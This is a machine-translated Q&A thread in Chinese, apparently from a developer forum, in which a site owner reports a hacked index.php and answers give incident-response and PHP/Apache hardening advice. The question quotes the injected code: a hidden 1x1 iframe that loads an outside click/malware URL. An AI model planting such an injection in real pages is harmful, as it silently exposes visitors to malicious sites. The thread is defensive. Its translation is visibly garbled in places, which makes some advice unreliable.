可能重复:
我的服务器被黑了应急
有人侵入我们的网站,并在我们的主页(index.php)中放入以下行::在下面的代码中,bottom.php是我们自己的文件,入侵者将"echo <iframe .... >;" 在我们的“include_once”代码之间。
<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>
请帮助我,以防止这种侵入。
PHP版本5.2.9,系统:Linux hansens 2.4.32-grsec-opteron-peon-1.1.1#1 SMP Fri Dec 21 15:45:17 PST 2007 i686
如果你还没有这样做的话,你应该做的第一件事就是尽可能地locking服务器,而你确定原因是什么。 在理想的世界里,当我知道发生了什么事情的时候,我会把机器脱机。
试着确定这是什么根源(赦免双关语)。 如果这是对http的某种攻击,那么确定它来自哪里,还有什么可能会被攻破。 这可能是整个箱子的妥协吗?
你的内核大约2岁,你的PHP不是那个分支最新的。 我猜你的Apache安装不是。 您是否使用已安装的CMStypes的网站包? 这是最新的吗? 你有没有删除任何安装目录? 什么是文件的权限?
如果是我:
这可能是对你的问题的一个完全过度的反应,但是直到你知道“肮脏”的规模,你将不知道要走多远。
首先,检查有关index.php的FTP传输日志,并检查连接的IP地址 – 来自中国,俄罗斯等国外的国家/地区。如果属实 – 更改FTP密码,清除站点和恶意软件 – 扫描所有使用/保存密码的PC。 恶意软件窃取已保存的密码或包含密钥encryption程序是很常见的,它们被发送到入侵者并用于使站点分发/托pipe恶意软件。 另外,请记住FTP以明文forms发送所有密码,所以不要使用它打开wifi或其他不受信任的networking。
如果这不起作用,请检查网站:a)file upload脚本。 检查文件path/pathvalidation。 另外,请检查文件types是否真正被validation,而不仅仅是扩展名。 Apache mod mime具有不安全的“function”,所以像evilscript.php.gif这样的文件将被执行为php。 参考:
“当一个带有多个扩展名的文件与MIMEtypes和一个处理程序都关联时,应该小心,这通常会导致请求被处理程序关联,例如,如果.imap扩展名被映射到处理程序imap-file(来自mod_imap)和.html扩展名映射到MIMEtypes文本/ html,那么文件world.imap.html将与imap-file处理程序和text / html MIMEtypes。当它被处理时,imap-file处理程序将被使用,所以它将被视为一个mod_imap映像文件。“
解决scheme:在上传的文件被移动的目录上禁用php。
b)包括|要求(_once)。 它们可以用于远程文件包含,因此攻击者可以编写php脚本,这将在服务器上执行,并可以更改/删除文件。 寻找类似于include($ _GET | $ _POST | $ _COOKIE | $ _REQUEST | $ _SERVER)(。?*)的解决scheme:如果您的站点不需要它们,请禁用remote_fopen。 否则,做适当的inputvalidation(这将是理智的事情:)。 另外,我build议禁用register_globals。
c)评估用户input/远程文件。 请记住,用户input可以驻留在数据库中。
另外,检查您的网站上传的后门,所谓的“炮弹”。 最安全的事情是从已知的安全备份恢复:)
有很多方法可以做到这一点。 在你的主页面上有没有input字段,或者(另一个)是否被错误地parsing为利用尝试?
首先让PHP文件可以通过networking服务器读取,但不能写入。 其次,检查你的各种input字段是否可能被利用
最近很stream行的是恶意软件窃取了保存的密码(通常来自总指挥官)并将这些凭证发送到指挥中心。 稍后在其他机器上通过ftp连接,下载index.php / html并追加恶意js / php。 全部自动化。
在apache中限制对web应用程序的攻击的一种方法是加载和微调apache的mod_security
链接:看这个介绍mod_security文章